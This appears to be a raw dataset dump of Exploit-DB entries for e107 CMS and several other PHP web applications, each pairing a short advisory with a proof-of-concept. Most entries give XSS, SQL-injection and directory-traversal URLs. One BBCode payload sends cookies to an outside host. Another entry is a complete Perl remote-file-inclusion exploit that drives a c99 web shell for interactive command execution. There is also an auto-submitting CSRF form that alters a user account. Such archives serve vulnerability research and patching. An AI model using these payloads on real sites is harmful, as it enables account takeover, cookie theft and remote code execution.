deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22958
Description: e107 Website System 0.554 - HTML Injection
Type: webapps
Platform: php
Date: 2003-07-25
Author: Pete Foster

Exploit:
source: https://www.securityfocus.com/bid/8279/info

The e107 content management system is prone to an HTML injection vulnerability. This issue is exposed through the class2.php script. An attacker may exploit this issue by including hostile HTML and script code in certain fields within the form. This code may be rendered in the web browser of a user who views the site.

[img][/img] - [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
[link][/link] - [link]/link.htm" onmouseover="alert('Vulnerable');[/link]
[email][/email] - [email]/foo@bar.com" onmouseover="alert('Vulnerable');[/email]
[url][/url] - [url]/url.htm" onmouseover="alert('Vulnerable');[/url]
Exploit-DB #22956
Description: e107 Website System 0.555 - 'db.php' Information Disclosure
Type: webapps
Platform: php
Date: 2003-07-24
Author: Artoor Petrovich

Exploit:
source: https://www.securityfocus.com/bid/8273/info

e107 Website System 'db.php' has been reported prone to an information disclosure vulnerability. 

A remote attacker may exploit this vulnerability to invoke the dump_sql routine without prior authentication. Information returned to the attacker may be of a sensitive nature.

<form action="http://www.example.com/admin/db.php">
<input type=submit name="dump_sql">
</form>
Exploit-DB #24154
Description: e107 website system 0.6 - 'email article to a friend' Feature Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-05-29
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10436/info
 
e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.
 
- HTML injection in the "email article to a friend" and "submit news" pages.:

foobar'><body onload=alert(document.cookie);>
Exploit-DB #24153
Description: e107 website system 0.6 - 'usersettings.php?avmsg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-05-29
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10436/info

e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.


http://www.example.com/e107_0615/usersettings.php?avmsg=[xss code here]
Exploit-DB #26105
Description: E107 Website System 0.6 - Attached File Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-08
Author: edward11

Exploit:
source: https://www.securityfocus.com/bid/14495/info

e107 Website System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<html>
<body>
<script>alert('VULN');</script>
</body>
</html>
Exploit-DB #25995
Description: e107 Website System 0.6 - Nested BBCode URL Tag Script Injection
Type: webapps
Platform: php
Date: 2005-07-18
Author: Nick Griffin

Exploit:
source: https://www.securityfocus.com/bid/14301/info

e107 Website System is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
Exploit-DB #25645
Description: e107 Website System 0.617 - 'Forum_viewforum.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-10
Author: Heintz

Exploit:
source: https://www.securityfocus.com/bid/13576/info

e107 Website System is prone to an SQL injection vulnerability. This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/forum_viewforum.php?5.[INJECTION]#
Exploit-DB #25644
Description: e107 Website System 0.617 - 'Request.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-05-10
Author: Heintz

Exploit:
source: https://www.securityfocus.com/bid/13573/info

e107 Website System is prone to a directory traversal vulnerability. This issue could be exploited to obtain the contents of arbitrary files on the vulnerable computer.

http://www.example.com/request.php?../../e107_config.php
Exploit-DB #27247
Description: E107 Website System 0.7.2 Chatbox Plugin - HTML Injection
Type: webapps
Platform: php
Date: 2006-02-18
Author: marc & shb

Exploit:
source: https://www.securityfocus.com/bid/16719/info

The e107 content management system (CMS) Chatbox Plugin is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected site, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Place the following into the Chatbox:

<script>alert("xss vuln found by ssteam")</script>
Exploit-DB #28547
Description: e107 website system 0.7.5 - 'admin.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
  
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
  
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/e107_admin/admin.php/%22%3E%3C/script%3E%3Cscript%3Ealert('founded bypointGLow.com - zark0vac')%3C/script%3E
Exploit-DB #28545
Description: e107 website system 0.7.5 - 'contact.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info

e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/contact.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #28546
Description: e107 website system 0.7.5 - 'download.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
 
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/download.php/"><script>alert('founded by pointGLow.com -zark0vac')</script>
Exploit-DB #28548
Description: e107 website system 0.7.5 - 'fpw.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
   
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
   
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/fpw.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #28549
Description: e107 website system 0.7.5 - 'news.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
    
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
    
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
    
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/news.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #28551
Description: e107 website system 0.7.5 - 'search.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
     
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
     
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
     
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/search.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #28552
Description: e107 website system 0.7.5 - 'signup.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
      
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
      
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
      
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/signup.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #28554
Description: e107 website system 0.7.5 - 'submitnews.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
       
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
       
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
       
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/submitnews.php/"><script>alert('founded by pointGLow.com -zark0vac')</script>
Exploit-DB #28556
Description: e107 website system 0.7.5 - 'user.php?Query String (PATH_INFO)' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: zark0vac

Exploit:
source: https://www.securityfocus.com/bid/19997/info
        
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
        
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
        
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/user.php/"><script>alert('founded by pointGLow.com - zark0vac')</script>
Exploit-DB #35699
Description: E2 Photo Gallery 0.9 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47697/info

E2 Photo Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/uploader/index.php/[xss]
Exploit-DB #8052
Description: ea-gBook 0.1 - Remote Command Execution / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-13
Author: bd0rk

Exploit:
#!/usr/bin/perl
####################################################################
# ea-gBook 0.1 Remote Command Execution with RFI (c99) Exploit
# Vendor: http://ea-style.de/
# Download: http://ea-style.de/eddy/index.php?action=down_gbook_agb
#
# Author: bd0rk
# Contact: bd0rk[at]hackermail.com
# site: http://www.soh-crew.it.tt
# thanks Joss for the code.
#
####################################################################
#
#
# RFI vuln!: /ea-gBook/index_inc.php line 22
# include ($inc_ordner . "config.php");
#
####################################################################

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] ea-gBook 0.1 Remote Command Execution with RFI (c99) Exploit\n";
	print "[x] by bd0rk\n";
	print "[x] bd0rk[at]hackermail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.someone.com/test/\" -shell \"http://someone.com/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/ea-gBook/index_inc.php?inc_ordner=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

#bd0rk

# milw0rm.com [2009-02-13]
Exploit-DB #31277
Description: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'ClassList.asp?Term' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: Arsalan Emamjomehkashan

Exploit:
source: https://www.securityfocus.com/bid/27924/info
  
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.
 
http://www.example.com/ClassList.asp&Term=SQL
Exploit-DB #31278
Description: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'GradebookStuScores.asp?GrdBk' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: Arsalan Emamjomehkashan

Exploit:
source: https://www.securityfocus.com/bid/27924/info
   
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.

http://www.example.com/GradebookStuScores.asp?GrdBk=SQL
Exploit-DB #29498
Description: Easebay Resources Login Manager - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/22142/info

Easebay Resources Login Manager is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. The vulnerabilities include an SQL-injection issue and a cross-site scripting issue.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

To exploit a cross-site scripting issue:

An attacker can exploit this issue by enticing an unsuspecting user into following a malicious URI.

An example URI has been provided:

http://www.example.com/path/admin/memberlist.php?keyword=[XSS]&type=1&status=1&by=1&sbmt1=++Search++&accessname=0&init_row=0&sort=create_time&sq=desc

To exploit an SQL-injection issue:

An attacker can exploit this issue via a web client.

An example URI has been provided:

http://www.example.com/path/admin/memberlist.php?init_row=[SQL]
Exploit-DB #29497
Description: Easebay Resources Paypal Subscription - Manager Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/22141/info

Easebay Resources Paypal Subscription Manager is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. The vulnerabilities include an SQL-injection issue and a cross-site scripting issue.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerability in the underlying database implementation.

An example URI has been provided:

http://www.example.com/psm/admin/memberlist.php?keyword=[SQl]&p=a&by=1&sbmt1=++Search++&init_row=0&sort=create_time&sq=desc&status=1

http://www.example.com/psm/admin/edit_member.php?username=Admin=[XSS]
Exploit-DB #12754
Description: Easy Address book WebServer 1.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-05-26
Author: Markot

Exploit:
        |------------------------------------------------------------------|
        |                         __               __                      |
        |   _________  ________  / /___ _____     / /____  ____ _____ ___  |
        |  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
        | / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
        | \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              security@corelan.be |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|

# Advisory      : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-043
# Software      : Easy Address Book WebServer 1.2
# Author        : Markot
# Date          : May 25, 2010
# OS            : Windows
# Tested on     : XP SP3 En (Virtual box)
# Type of vuln  : CSRF
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

#code

 <html>
 <body>
 <body onload="document.forms['Login'].submit();">
 <form method="POST" name="Login" action="http://192.168.1.200:80/users_admin.ghp">
 <input type="hidden" name="userid" value="3"/>
 <input type="hidden" name="username" value="corelanteam"/>
 <input type="hidden" name="password" value="corelanteam"/>
 <input type="hidden" name="email" value="markot@corelan.be"/>
 <input type="hidden" name="level" value="power user"/>
 <input type="hidden" name="state" value="Enable"/>
 <input type="hidden" name="add_user" value="Update"/>
 </form>
 </body>
 </html>

Author/Vendor communication

 May 1 2010 : vendor contacted

 May 17 2010: reminder sent, no feedback from the vendor

 May 25 2010: Public disclosure